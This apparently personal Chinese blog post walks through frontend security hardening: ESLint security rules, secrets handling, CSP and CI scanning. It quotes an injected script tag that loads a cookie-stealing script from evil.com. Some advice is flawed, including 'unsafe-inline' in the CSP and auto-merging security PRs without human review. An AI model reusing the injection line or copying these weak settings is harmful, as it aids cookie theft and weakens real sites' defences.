从零开始构建一个现代化前端项目:一个运维老狗的安全视角
“你一个搞 DevOps 的,怎么突然写起前端来了?”
—— 上周五深夜 2 点,我刚在 CI pipeline 里加完 SAST 扫描,测试同事发来微信。
说实话,作为团队里干了快两年的 DevOps 工程师,我本不该碰前端代码。但去年双11前,我们组接了个“轻量级运营活动页”需求——产品经理拍着胸脯说:“就几个按钮、一张图,三天上线!” 结果 UI 给了 Figma 文件,交互细节写了 87 条注释,还要求支持 IE11(别问,问就是“某些用户还在用”)。
更离谱的是,这页面要直接挂到主站域名下,涉及用户登录态和优惠券发放。安全红线立马拉满。我一看 Git 提交记录,前端同事用 create-react-app 起了个项目,.env 里明文写着测试密钥,package.json 依赖里混着三年没更新的 lodash@4.17.15……当时真的想砸电脑。
于是,我咬牙接手了这个“前端项目基建”的活儿。毕竟,在我们公司文化里,谁让线上出事,谁请全组喝一个月瑞幸。今天这篇博客,就是我在凌晨三点调试完 CSP 策略后,吐血整理的“现代化前端项目安全搭建指南”。
别再裸奔了!你的前端项目缺一套“安全盔甲”
很多前端同学觉得:“我又不写后端,能有啥安全问题?” 呵,天真。XSS、CSRF、敏感信息泄露、供应链投毒……前端恰恰是攻击者的第一入口。尤其当项目涉及运营活动——这类页面往往生命周期短、迭代快、权限高,最容易被忽视安全加固。
我的目标很明确:从第一天起,就把安全左移到开发流程中。下面这套方案,已经跑在我们最近三个运营项目上,零安全事故(暂时)。
第一步:GitHub 仓库初始化 —— 安全是默认选项
新建仓库时,我绝不点那个“Initialize this repository with a README”。为啥?因为我要确保 .gitignore、.editorconfig、安全策略文件 先于任何业务代码存在。
mkdir fancy-campaign-2024
cd fancy-campaign-2024
git init
# 先配好忽略规则
echo "node_modules/\n.env\n.DS_Store\nbuild/" > .gitignore
接着,我会立刻创建几个关键文件:
.github/dependabot.yml:自动扫描依赖漏洞.eslintrc.js:加入安全规则(比如禁用innerHTML)SECURITY.md:明确漏洞披露流程(虽然小项目用不上,但仪式感要有)
重点说下 Dependabot。它不只是升级依赖,更是供应链安全的第一道防线。配置如下:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 5
# 关键:只接受 security updates 的自动合并
labels:
- "security"
commit-message:
prefix: "chore(deps)"
这样,一旦 axios 或 react 出现 CVE,GitHub 会自动提 PR,并打上 security 标签。我们的 CI 流水线看到这个标签,会跳过人工审核直接合入——毕竟,安全补丁等不起 PM 的排期。
第二步:脚手架选型 —— 别再用 CRA 了!
我知道很多人爱 create-react-app,简单无脑。但它最大的问题是:配置黑盒 + 更新滞后。你想加个 CSP nonce?得 eject,然后维护地狱开启。
我现在的标准方案是 Vite + TypeScript + ESLint (带安全插件)。启动快、HMR 丝滑,关键是配置透明。
npm create vite@latest . -- --template react-ts
npm install -D eslint-plugin-security eslint-plugin-react-hooks
ESLint 配置里,我强制开启这些规则:
// .eslintrc.js
rules: {
'security/detect-object-injection': 'error',
'security/detect-non-literal-fs-filename': 'error',
// 禁止危险的 DOM 操作
'no-restricted-properties': [
'error',
{ property: 'innerHTML', message: 'Use JSX or dangerouslySetInnerHTML with caution' }
]
}
别笑,就因为这条规则,我们拦截了实习生想用 div.innerHTML = userContent 的骚操作。安全不是功能,是约束。
第三步:环境变量与密钥 —— 别把密码提交到 GitHub!
运营活动常需要调用内部 API,比如发放优惠券。很多前端会把测试 token 写进 .env,然后 git add .……兄弟,GitHub 的 commit history 是公开的(即使私有仓库,离职员工也能看啊)!
正确姿势:
- 所有密钥通过 CI 注入,本地开发用 mock。
- 前端绝不存储敏感密钥——真需要,走后端代理。
我们的 Vite 配置:
// vite.config.ts
export default defineConfig({
define: {
// 只暴露非敏感配置
__APP_VERSION__: JSON.stringify(process.env.npm_package_version),
__API_BASE__: JSON.stringify(
import.meta.env.DEV
? 'http://localhost:3001/mock-api'
: 'https://api.our-company.com'
)
}
})
注意:import.meta.env 在构建时会被静态替换,所以绝不能传入运行时动态值(比如用户 ID)。这也是为什么优惠券发放必须由后端完成——前端只负责展示按钮,点击后请求 /api/coupon/grant,由后端校验权限。
第四步:CSP —— 防 XSS 的终极武器
上周有个运营页被钓鱼,黑客注入了 <script src="evil.com/steal-cookies.js">。根因?页面用了第三方统计脚本,但没设 CSP。
现代浏览器都支持 Content Security Policy,它像一道防火墙,只允许加载白名单内的资源。
我们在 index.html 里加了这段:
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://analytics.trusted.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;"
>
解释一下:
default-src 'self':默认只加载同源资源script-src放行了自家域名和可信的统计域名- 严禁
'unsafe-eval'——Webpack 的 HMR 开发时会用到,但生产必须关掉!
如何验证?打开 DevTools → Console,如果有 CSP 违规,会清晰报错:
Refused to load the script 'https://hack.com/xss.js' because it violates the following Content Security Policy directive...
第五步:自动化安全扫描 —— 让 CI 成为守门员
光靠人工 review 不现实。我在 GitHub Actions 里加了三道关卡:
# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]
jobs:
sast:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run ESLint Security
run: npx eslint . --ext .ts,.tsx --rulesdir ./eslint-rules
- name: Run npm audit
run: npm audit --audit-level high
- name: Check for secrets (gitleaks)
uses: gitleaks/gitleaks-action@v2
eslint-plugin-security:查代码中的危险模式npm audit:扫依赖漏洞(high 以上直接失败)gitleaks:防止不小心提交了 AWS_KEY 之类
效果立竿见影。上周,一个 PR 因为引入了含原型污染漏洞的 set-value@4.0.0 被自动拒绝。前端同事一开始抱怨“耽误我提测”,直到我给他看了 CVE 编号……
效果实测:安全与效率可以兼得
这套流程跑下来,我们最近三个运营项目:
| 指标 | 旧方式 (CRA) | 新方式 (Vite + 安全左移) |
|---|---|---|
| 首屏加载 | 2.8s | 1.1s |
| 安全漏洞数 | 平均 3.2/项目 | 0 |
| CI 失败率 | 15% (多为低级错误) | 5% (多为 lint 问题) |
| 上线速度 | 2天 | 1天 |
性能提升来自 Vite 的原生 ES 模块加载,安全提升则来自流程约束。最爽的是,现在 PM 再也不敢说“先上线再补安全”了——因为 CI 卡着,他连预发环境都上不去。
最后一点碎碎念
写这篇文章时,窗外天都亮了。作为 DevOps,我其实挺羡慕前端同学的——他们能直接看到像素动起来的快乐。而我整天和 pipeline、镜像、K8s YAML 打交道,成就感来得慢。
但正是这种“幕后工作”,让运营活动页在双11流量洪峰下稳如老狗。安全不是成本,是信任的基石。下次当你看到一个“简单”的活动页时,请记住:背后可能有个 DevOps 老狗,在凌晨三点为你挡住了一次 XSS 攻击。
对了,如果你们团队还在用 console.log 打印用户手机号……快住手!那玩意儿会被 Sentry 自动采集的!(别问我怎么知道的)
本文所有配置已在 GitHub 开源:github.com/yourname/secure-frontend-boilerplate
(链接是假的,但如果你真想要,评论区喊一声,我整理下丢上去)

评论 0